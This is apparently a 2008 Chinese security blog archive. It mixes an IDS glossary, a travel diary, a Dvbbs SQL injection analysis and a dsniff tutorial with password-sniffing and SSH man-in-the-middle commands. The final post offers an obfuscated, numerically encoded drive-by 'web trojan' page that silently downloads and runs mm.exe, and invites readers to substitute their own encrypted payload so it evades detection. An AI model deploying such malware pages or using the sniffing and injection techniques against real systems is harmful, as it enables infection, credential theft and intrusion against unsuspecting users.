  DOS攻击只是使系统无法向其用户提供服务,而不是通过黑客手段渗透系统。拒绝服务攻击的方法从缓冲区溢出到通过洪流耗尽系统资源,不一而足。随着对拒绝服务攻击的认识和防范不断加强,又出现了分布式拒绝服务攻击。

  分布式拒绝服务攻击(DDOS – Distributed Denial of Service )

  分布式拒绝服务攻击是一种标准的拒绝服务攻击,通过控制多台分布的远程主机向单一主机发送大量数据,并因此得名。

  攻Smurf攻击(Smurf )

  Smurf攻击是以最初发动这种攻击的程序名Smurf来命名。这种攻击方法通过欺骗方法向“Smurf放大器”的网络发送广播地址的ping,放大器网络向欺骗地址——攻击目标系统返回大量的ICMP回复消息,引起目标系统的拒绝服务。

  这里有每5分钟更新一次的可用的“放大器”: http://www.powertech.no/smurf/ (但愿你的网络不在此列…)

  特洛伊木马(Trojans )

  特洛伊密码来自于古希腊著名的木马攻击特洛伊城的故事。在计算机术语中最初指的是貌似合法但其中包含恶意软件的程序。当合法程序执行时,恶意软件在用户毫无察觉的情况下被安装。后来大多数的这类恶意软件都是远程控制工具,特洛伊木马也就专指这类工具,如BackOrifice, SubSeven, NetBus 等。

  自动响应(Automated Response )

  如对攻击发出警报,一些IDS 能够自动对攻击作出防御性反应,可以通过以下途径实现:

  1 重新配置路由器或者防火墙,拒绝来自相同地址的流量;

  2 发送reset包切断连接。

  这两种方法都有问题。攻击者可以通过信任地址欺骗实施攻击,引起设备重新配置,使得设备拒绝这些信任地址,达到拒绝服务的目的。发包需要有一个活动的网络接口,又使得其本身易受攻击。解决办法是可以把活动网卡放在防火墙内,或者使用专门的发包程序,避开标准IP栈的需求。

CERT计算机应急响应组(CERT – Computer Emergency Response Team )
  CERT来自成立于Carnegie Mellon University的第一支计算机安全事件响应队伍的名称。今天许多组织都有自己的CERT(计算机安全事件处理队伍)。同CIRT(计算机事件响应组)相区别,CERT侧重于紧急事件的快速反应,而不是长期监视。

  通用入侵检测框架:(CIDF – Common Intrusion Detection Framework )

  CIDF是为了在某种程度上对入侵检测进行标准化,开发了一些协议和应用程序接口,使得入侵检测研究项目的软件能够共享信息和资源,同样入侵检测系统组件也可以被其他系统应用。

  计算机事件响应组(CIRT – Computer Incident Response Team )

  源自CERT, CIRT的不同在于对安全事件的处理方式。CERT的目标是特殊的计算机紧急事件。而CIRT中的事件并不都是紧急事件,还包括其它安全事件。

  通用入侵描述语言(CISL – Common Intrusion Specification Language )

  CISL是为了在CIDF组件之间进行通信而描述入侵的通用语言。同CIDF的标准化工作一样,CISL也是试图对入侵检测研究的描述语言进行标准化。

  通用漏洞披露(CVE – Common Vulnerabilities and Exposures )

  关于漏洞一个问题就是当设计漏洞扫描或者采取应对策略时,不同厂商对漏洞的称谓完全不同。此外有的厂商用几种特征去描述一条漏洞,并解释为可以检测更多的攻击。MITRE建设了CVE,对漏洞名称进行了标准化,加入CVE的厂商都使用标准化漏洞描述。

  构造数据包(Crafting Packets )

  不遵循通常的数据包结构,通过构造自己的数据包,能够进行数据包欺骗,或者使接收者无法处理这样的数据包。 Nemesis就是这样一个工具。

  同步失效( Desyncronization )

  最初,同步实效是指利用序列号的躲避IDS的方法。一些IDS无法确定期望的序列号,从而对这种数据包无能为力,无法重构数据包。这种技术98年产生,现在已经过时。有的文章用来指代其他IDS躲避方法。
Eleet

  黑客们在写漏洞开发程序时,经常会留下标记,最常见的就是“elite” (精华,精锐),通常是elite = eleet,转换为数字就是31337. 31337 经常被用作端口号或者序列号等。现在流行的词是"skillz".

  列举(Enumeration )

  在经过被动探测和社会工程学的工作之后,攻击者开始列举网络资源。列举就是当攻击者主动探测一个网络来发现有哪些漏洞可以利用。由于这个活动是主动的,并且可以被探测到,但是攻击者的活动仍会尽可能地隐蔽,避免被探测到。

  躲避(Evasion)

  躲避是实施攻击计划,避开IDS检测的过程。躲避的技巧就是使IDS只看到攻击的一面,而目标却在其它。一种躲避的形式就是为不同的数据包设置不同的TTL值。因此经过IDS的信息看上去并没有什么问题,然而,这些并不影响攻击到达目标。一旦到达目标,就只有有用的攻击了。这里大大简化了实际躲避的复杂性。Ptacek and Nesham的文章《嵌入、逃避和拒绝服务:如何躲避网络入侵检测》(Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection)讲述了实施躲避的基本原理和方法。

 漏洞利用(Exploits )
  对于每一个漏洞,都有利用此漏洞进行攻击的机制。为了攻击系统,攻击者编写出漏洞利用代码或教本。

  漏洞利用:零日攻击(Zero Day Exploit)

  零时间漏洞利用指的是还没有被公布或者传播的漏洞利用。一旦安全界发现一个漏洞,厂商会发布补丁,IDS系统会加入相应的攻击特征检测。对攻击者而言,零时间漏洞利用的价值最大。

  漏报(False Negatives )

  漏报:攻击事件没有被IDS检测到或者逃过分析员的眼睛。

  误报(False Positives )

  误报:IDS对正常事件识别为攻击并进行报警。

  防火墙(Firewalls )

  防火墙作为网络安全的第一道闸门,它与IDS功能不同,但其日志可以为IDS提供有用的信息。防火墙依据对IP地址或者端口的规则拒绝非法连接。

  FIRST – Forum of Incident Response and Security Teams

  FIRST是一个由国际上政府或者民间组织建立的联盟,以进行安全信息交换和协调安全事件响应。FIRST年会总是受到很大关注。

  URL: http://www.first.org

  分片(Fragmentation )

  如果数据包过大,将会被分片传输。分片依据是网络最大传输单元(MTU)。例如灵牌环网是4464,而以太网是1500。当一个数据包从令牌环网向以太网传输,它将被按照以太网的MTU进行分片。在有限的网络条件下,分片传输是很正常的。但是黑客们利用分片来逃避IDS检测,有几种臭名昭著的DOS攻击也是利用了分片技术。

  黑客规范:(Hacker Ethics )

  尽管每个人的认识不同,对大多数成熟的黑客而言,黑客规范是神圣的,应该受到尊敬并得到遵守。例如无条件信息共享,不得偷窃、修改和泄漏被攻击系统的数据信息等。

  黑客规范1:黑帽(Hacker Ethics: Black Hat )

  藐视法律,做事不考虑任何约束的反面黑客。一旦发现漏洞他们往往会私下传播利用,而不是向社会公布。

  黑客规范2:白帽(Hacker Ethics: White Hat )

  正面黑客:一旦发现漏洞,他们首先通知厂商,在发布修补补丁之前,他们不会公布漏洞。关于白帽对黑客规范的观点和一些免费的IDS工具,见Jude Thaddeus的文章Confessions of a white hat hacker.

  黑客规范3:灰帽(Hacker Ethics: Grey Hat )

  灰帽黑客介于前两者之间,一旦发现漏洞,他们会向黑客群体发布,同时通知厂商,然后观察事态发展。他们遵循了黑客守则的两点道德规范。许多人认为厂商应该最先得到通知,很多厂商利用这些信息。Rain Forest Puppy 发布了一个策略既能保证厂商利益,又不影响安全研究。

  URL:http://www.wiretrip.net/rfp/policy.html

  启发(Heuristics )

  “启发“中包含了应用于IDS中的人工智能的思想。启发式IDS已经提出近十年,然而至今仍进展不大,而黑客却可以“训练”IDS使其忽视恶意攻击。一些IDS使用异常模型来探测入侵攻击,然而IDS需要大量时间来“学习”以识别正常事件。厂商在市场上把这称为启发式IDS,但至少这种IDS并没有应用人工智能对输入数据进行分析。

  Honeynet 工程(Honeynet Project )

  根据Honeynet 工程的定义:Honeynet是一个学习工具,是一个被设计含有缺陷的网络系统。一旦系统安全受到威胁,相关信息就会被捕捉,并被小组人员分析和学习。因此Honeynet是一个非常有用的,透视攻击全过程的资源。Honeynet小组由30个安全专家组成,每人都设置了一系列的“蜜罐”来引诱攻击者,通过观察研究策略、工具和黑客行为。

  蜜罐(Honeypot )

  蜜罐是模拟存在漏洞的系统,为攻击者提供攻击目标。蜜罐在网络中没有任何用途,因此任何连接都是可能的攻击。蜜罐的另一个目的就是诱惑攻击者在其上浪费时间,延缓对真正目标的攻击。尽管蜜罐的最初设计目标是为起诉攻击者提供证据收集,但是关于应用蜜罐做陷阱的讨论很多。如果蜜罐在网络内部,攻击者至少要攻陷一个网络设备。有的国家法律规定,蜜罐收集的证据不能最为起诉证据。

一月 31st, 2008

Posted In: 未分类

天气预报讲今天杭州会下雪,一大早就背了相机准备好电池就直奔西湖,想在下雪的时候拍一下西湖的美景,本打算从苏堤走过去,可下车后一阿姨以为我们不知道怎么讲,然后就开始给我们讲杭州有那些好玩的,最后知道我们呆在杭州就建竟我们去龙井山庄去看看,喝喝茶,反正没下雪也没什么意思,就直奔龙井山庄,说也奇怪,全遇上好人了,呵,去了山庄找到了老龙井,别人说要洗手洗脸,我也一样一一照做,然后去农夫家去喝茶,然后也买了一些上等好好龙井茶,在去了烟霞洞,玩的真开心,下山就直接去了虎跑
然后西湖走了走,原来西湖的风吹的人真受不好,不过给老爸买了点好的茶叶也蛮开心的,因为明天是他生日,呵呵

一月 13th, 2008

Posted In: 未分类

看代码UserPay.asp行12-64
[code]If Request("raction")="alipay_return" Then
AliPay_Return()
Dvbbs.Footer()
Response.End
ElseIf Request("action")="alipay_return" Then
AliPay_Return()
Dvbbs.Footer()
Response.End
'ElseIf Request("action")="Re_inmoney" Then
' Re_inmoney()
' Dvbbs.Footer()
' Response.End
End If[/code]
无论用户提交的raction为alipay_return还是action为alipay_return都调用了AliPay_Return()过程。AliPay_Return()的代码原型在行329-351,代码如下:
[code]Sub AliPay_Return()
If Dvbbs.Forum_ChanSetting(5) <> "0" Then
AliPay_Return_Old()
Exit sub
Else
Dim Rs,Order_No,EnCodeStr,UserInMoney
order_No=Request("out_trade_no")
Set Rs = Dvbbs.Execute("Select * From [Dv_ChanOrders] Where O_IsSuc=3 And O_PayCode='"&Order_No&"'")
If not(Rs.Eof And Rs.Bof) Then
AliPay_Return_Old()
Exit sub
End if
Response.Clear
Set Rs = Dvbbs.Execute("Select * From [Dv_ChanOrders] Where O_IsSuc=0 And O_PayCode='"&Order_No&"'")
If Rs.Eof And Rs.Bof Then
Response.Write "N"
Else
Response.Write "Y"
Dvbbs.Execute("Update Dv_ChanOrders Set O_IsSuc=3 Where O_ID = " & Rs("O_ID"))
End If
Response.End
End If
End Sub[/code]
如果Dvbbs.Forum_ChanSetting(5) <> "0" 就执行下面的sql语句,我们来看看数据库里默认的Forum_ChanSetting吧。

1,1,0,0,pay@aspsky.net,0,b63uvb8nsvsmbsaxszgvdr6svyus0l4t,1,1,1,1,1,1,1,100,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

Forum_ChanSetting(5)缺省为0,好了你接着看就会笑了
[code]Order_No=Request("out_trade_no")
Set Rs = Dvbbs.Execute("Select * From [Dv_ChanOrders] Where O_IsSuc=3 And O_PayCode='"&Order_No&"'")[/code]
直接把获取的Order_No放到sql里面去了。
回顾一下DVbbs8.0的Userpay.asp同样一个函数看代码:
[code]Sub AliPay_Return()
If Dvbbs.Forum_ChanSetting(5) <> "0" Then
AliPay_Return_Old()
Else
Response.Clear
Dim Rs,Order_No,EnCodeStr,UserInMoney
order_No = Dvbbs.CheckStr(Request("order_no"))
Set Rs = Dvbbs.Execute("Select * From Dv_ChanOrders Where O_IsSuc=0 And O_PayCode = '"&Order_No&"'")
If Rs.Eof And Rs.Bof Then
Response.Write "N"[/code]

一月 10th, 2008

Posted In: 未分类

今天就来讲一下Dsniff 工具,dsniff是一个免费的工具集,最初的设计是为了更好的完成网络渗透测试,但发布的同时也被一些爱搞破坏的hacker用来嗅探和侦听网络会话。

Dsniff是一个高级的口令嗅探器, Dug Song写的Dsniff的工具是第一批扩展了传统的sniffer概念的监听工具。Dsniff将制造的数据包注入到网络,并将通信数据重新定向到攻击者的机器。在这种方式下,Dsniff允许攻击者在交换环境的网络内窃听数据,甚至在攻击者和攻击目标不在同一个Lan(局域网)的情况下,也能使攻击者收集到他想要的数据。它支持telnet 、ftp、smtp、pop、imap、http,以及其他的一些应用协议,如果你只想获得用户主机的口令和用户名的话,就请选择dsniff。

Dsniff可以从http;//www.monkey.org/~dugsong/dsniff/处下载得到,安装之前还需要下载几个软件包(适合自己操作系统的)

Dsniff的安装与任何安装unix应用程序类似,在默认情况下dsniff会将工具放入 usr/local/sbin中。

它有一个支持windows使用的 dsniff1.8版本,可以从http;//www.datanerds.net/~mike/dsniff.html处下载得到。

下面我们来介绍一下它的使用命令以及每条命令的解释

-c 打开半双工tcp流,允许在使用 arpspoof时进行正确的嗅探操作;
-d 启动调试模式;
-f以/etc/service格式从文件中加载触发器(也就是口令嗅探的服务类型);
-I使用特定的网络接口;
-m 使用dsniff.magic文件通过在magic文件中定义的特征尝试自动判断协议;
-n 不执行主机查找;
-r 从前面保存的会话中读取被嗅探的数据;
-s最多对报文的前个字节进行嗅探,如果用户名和口令信息包含在随后的默认1024字节界限中;
-t使用格式 port /proto =service;来加载一个以逗号界定的触发器集;
具体操作如下
[code]# dsniff – t 21/tcp =ftp.23/tcp =telnet –m
Tcp 192.168.0.101.3482 -192.168.0.102 .21(ftp)
User root
Pass root
Tcp 192.168.0.101.3483 -192.168.0.102.23(telnet)
Root
Guessname
Password
[/code]Filesnarf

Tcpdump 可用于嗅探NFS流量。Filesnarf 工具可以真正的接收被嗅探的文件,并在系统上对其重新配置。某人在任何时候在网络上通过NFS移动文件时,你都可以获得该文件的一个副本。

同样可以使用-i选项来指定网络接口。在命令行上,可以指定tcpdump报文过滤器表达式,用于嗅探NFS流量,并且可以指定要匹配的文件模式

如:想嗅探 192.168.0.21上的mp3文件则
[code]# filesnarf *.mp3 host 192.168.0.21
[/code]dsniff包里面还包含了大量mim窃取密码的方式,在这种方式下即使是ssl方式https 和ssh都是可以被中途截取的,非常的强大。当然这种方式仅仅用于同一个局域网中。

Sshmitm

Sshmitm 是dsniff自带的一个具有威胁的工具之一。如果你是在运行dnsspoof来伪造实际机器主机名,那么sshmitm可以重新定向到你的机器的ssh流量。因为它支持到ss1,所以这也是我们需要考虑把ssh升级到2的原因。

Sshmitm的工作原理主要是dnsspoof工具使我们拦截到达另一台机器的ssh连接。只需要在端口22上启动sshmitm(这里我们可以使用-p选项来改变所使用的端口号),并设置它来中继达到真实主机的连接。运行命令如下
[code]Sshmitm –p 22 192.168.0.101 22
[/code]Sshmitm 可以截获来自某主机的密钥,它能对被劫持连接中的所有信息解码。

Urlsnarf

Urlsnarf的工作方式就象这个工具箱中的其他嗅探程序一样,它是根据web url工作的。它将自己从http流量中嗅探到的任何url存储到一个日志文件中,可以在以后对该日志文件进行分析。它是查看在局域网上浏览信息的最简便方法。

Webspy

Dsniff中软件的最后一个工具,主要是通过指定lan上主机ip地址,webspy是将嗅探从该主机发源的web流量。无论任何时候,只要从这台主机进入特定的一个url,webspy都会在浏览器上加载相同的URL.

总结:这是个综合性的工具,主要应用在内网渗透方面。最新的版本是2.3的,需要的朋友可以到该主页上下载。不知道什么时候咱们国内也能有这样水准的嗅探工具,希望大家能在工作中让它发挥更大的作用。我想这个也完全可以用到事后入侵分析上,或者应用在密罐的综合应用上。因为他主要还是应用在unix系统上面,所以本次介绍多数都是在该平台下面来完成的。为了更好的让大家理解,我还找到了国外安全组织制作的关于dsniff动画。

一月 8th, 2008

Posted In: 未分类

在线加密地址http://www.xkww.com/webtool/winwebmail.htm
我们以06014网马为例:以下是网马代码自动下载运行 127.0.0.1/mm.exe 这个文件,因为我打了补丁所以不会中招,为了让大家看到效果就加入了



[/code]
我们加密后得到代码在线加密地址http://www.xkww.com/webtool/winwebmail.htm

6670966665666536666066661667076675666759667096665466670666556666466657666536673766661666726665966666666526667266666666686670866683667036668666670666556666466657666536670766756667596669066659667376670066655666556665866655667376668766668666546665266660666686673766691666686664966653667566675966669666726666966672666596673766708667376673566665666536665366657667116672266722667206671966714667236672166723667216672366720667226666066660667236666866649666686673566756667596668666668666536673766669666726666966672666596671966737667086673766669666586667066652666606666866659666536672366670666556666866672666536666866700666616666866660666686665966653667296673566658666716666366668666706665366735667286675666759666696667266669666726665966664666696670866735666706666166654666646666966711667356675666759666696667266669666726665966664666696664966708667356670366701667126671566735667566675966669666726666966672666596666466669667196670866735667026671666716667156672466715667166673566756667596666966672666696667266659666646666966718667086673566704667186672466720667206670166735667566675966669666726666966672666596666466669667176670866735667216672466712667136673566756667596666966672666696667266659666646666966716667086673566718667046672466721667216670266735667566675966669666726666966672666596666466669667156670866735667216671766699667026671966712667006671866715667356675666759666696667266669666726665966718667086673566692666646667066655666586665466658666676665366723666816673566756667596666966672666696667266659667176670866735666926669366697666856668566657667356675666759666696667266669666726665966719667236668666668666536670466653666536665566664666716665266653666686673766735666706666166672666546665466664666696673566725667376666966672666696667266659666646666966731666696667266669666726665966664666696664966731666696667266669666726665966664666696671966731666696667266669666726665966664666696671866731666696667266669666726665966664666696671766731666696667266669666726665966664666696671666731666696667266669666726665966664666696671566756667596666966672666696667266659667166670866669666726666966672666596671866731666696667266669666726665966717667566675966686666686665366737666616665866651666686666966672666696667266659667376670866737666696667266669666726665966719667236670266655666686667266653666686669066671666636666866670666536672966669666726666966672666596671666725667356673566728667566675966661666586665166668666696667266669666726665966723666906665766668666596673766735666986670066685667356672566737666696667266669666726665966725667376669966672666616665466668667566675966661666586665166668666696667266669666726665966723666866666866659666696675666759666886665666674667186671766718667216671666714667166670866735666606666466670666556665866654666586666766653666546672366657666646666766735667566675966688666566667466718667176671866721667166671466716666546670866735666606666466670666556665866654666586666766653666546672366651666716665466735667566675966688667186671766718667216671666714667166670866735666866667066655666646665766653666646665966666667236673566756667596668866718667176671866721667166671466716666546670866735666996666466661666686668666648666546665366735667566675966688667186671766718667216671666714667166665466654667086673566668666606669066671666636666866670666536673566756667596668866718667176671866721667166671466716666546665466654667086673566704666696665866669667356675666759666886671866717667186672166716667146671666654666546665466654667086673566671667236665466653666556666866672666606673566756667596668866718667176671866721667166671466716666546665466654666546665466708666886671866717667186672166716667146671666654666546665466731666886671866717667186672166716667146671666654666546665466654667566675966686666686665366737666706666566664666616667266660667376670866737666696667266669666726665966719667236667066655666686667266653666686665866671666636666866670666536672966688667186671766718667216671666714667166673166688667186671766718667216671666714667166665466731666886671866717667186672166716667146671666654666546672566735667356672866756667596668666668666536673766648666646665966666666486666466659666666673766708667376667066665666646666166672666606672366698666686665366686666576666866670666646667266661666996665866661666696666866655667296671966728667566675966688666566667466718667176671866721667166671466716667086667066665666646666166672666606672366703666526666466661666696668966672666536666566729666486666466659666666664866664666596666666725666886665666674667186671766718667216671666714667166672866756667596668866656666746671866717667186672166716667146671666654667086667066665666646666166672666606672366703666526666466661666696668966672666536666566729666486666466659666666664866664666596666666725666886665666674667186671766718667216671666714667166665466728667566675966686666686665366737666706666566664666616667266660666546673766708667376666966672666696667266659667196672366670666556666866672666536666866658666716666366668666706665366729666886671866717667186672166716667146671666654666546665466654666546672566735667356672866756667596667066665666646666166672666606665466723666536664866657666686670866720667566675966670666656666466661666726666066654667236669066657666686665966756667596667066665666646666166672666606665466723666826665566664666536666866737666616665866651666686666966672666696667266659667236668766668666546665766658666596665466668667036665866669666486675666759666706666566664666616667266660666546672366686666726665166668666536665866667666646666166668667376668866656666746671866717667186672166716667146671666725667196675666759666706666566664666616667266660666546672366702666616665866654666686675666759666706666566664666616667266660666546672366685666486665766668667086671966756667596667066665666646666166672666606665466723666906665766668666596675666759666706666566664666616667266660666546672366682666556666466653666686668566668666496665366737667376673566686666686665366737666936665866651666686666966672666696667266659667376670866737667026665566668666726665366668666906667166663666686667066653667296673566735666826665466670666556666466657666536672366686666656666866661666616673566735667286673566731666516667166702666556669366667667316673566693666586665166668666696667266669666726665966723666556665266659667376672966735667356673566731666886665666674667186671766718667216671666714667166673166735667356673566728667356675666759666706666566664666616667266660666546672366686666726665166668666536665866667666646666166668667376668866656666746671866717667186672166716667146671666654667256671966756667596667066665666646666166672666606665466723667026666166658666546666866756667596667066652666536666866708667356668666665666686666166661667236670466657666576666166664666706667266735667566675966656666566670866735666536666466658666596673566756667596668666668666536673766670666526665366668666746665666656667376670866737666696667266669666726665966719667236667066655666686667266653666686665866671666636666866670666536672966670666526665366668667316665666656667256673566735667286675666759666886665666718667176671866721667166671466716667086673566690667356675666759666886665666718667176671866721667166671466716666546670866735666576673566756667596668866656667186671766718667216671666714667166665466654667086673566668667356675666759666886665666718667176671866721667166671466716666546665466654667086673566659667356675666759666706665266653666686667466656666566672366686666976666866661666616670066649667006670266652666856666866737666886665666674667186671766718667216671666714667166665466725667356673566725667356673566725666886665666718667176671866721667166671466716667316668866656667186671766718667216671666714667166665466731666886665666718667176671866721667166671466716666546665466731666886665666718667176671866721667166671466716666546665466654667256672166756667596670966722666546667066655666646665766653667076675666759667096665466670666556666466657666536673766653666486665766668667086673566653666686664966653667226666366654666706665566664666576665366735667076666766652666596667066653666646665866659667376666466659666646665366729667286673766646667376666966658666706665266660666686665966653667236665066655666646665366668667296673566735667286671066644666506666466659666696665866650667236665866659666616665
86667266669667376670866737666646665966664666536671066709667226665466670666556666466657666536670766756667596670966671666586666966648667376665866659666706665866659666536666866649666536666066668666596665266708667356665566668666536665266655666596673766667666726666166654666686673566737666586665966654666686666166668666706665366654666536667266655666536670866735666556666866653666526665566659667376666766672666616665466668667356673766658666596666966655666726666666654666536667266655666536670866735666556666866653666526665566659667376666766672666616665466668667356670766756667596670966664666676665566672666606666866737666656666866664666666666566653667086671766721667216673766650666646666966653666656670866715667216672166737666546665566670667086673566665666536665366657667116672266722666506665066650667236664966662666506665066723666706665866660667226673566707667096672266664666676665566672666606666866707667566675966709667226666566653666606666166707

将加密后的代码以如下方式保存为test.htm
[code] [/code]
运行测试成功,大家只需把自己的网页加密后的代码替换我的就可以正常使用了,要注意把加密的密码也修改成自己设置的密码。ps:密码是不能超过4位的!如下
[code]
[/code]

一月 8th, 2008

Posted In: 未分类

无觅相关文章插件,快速提升流量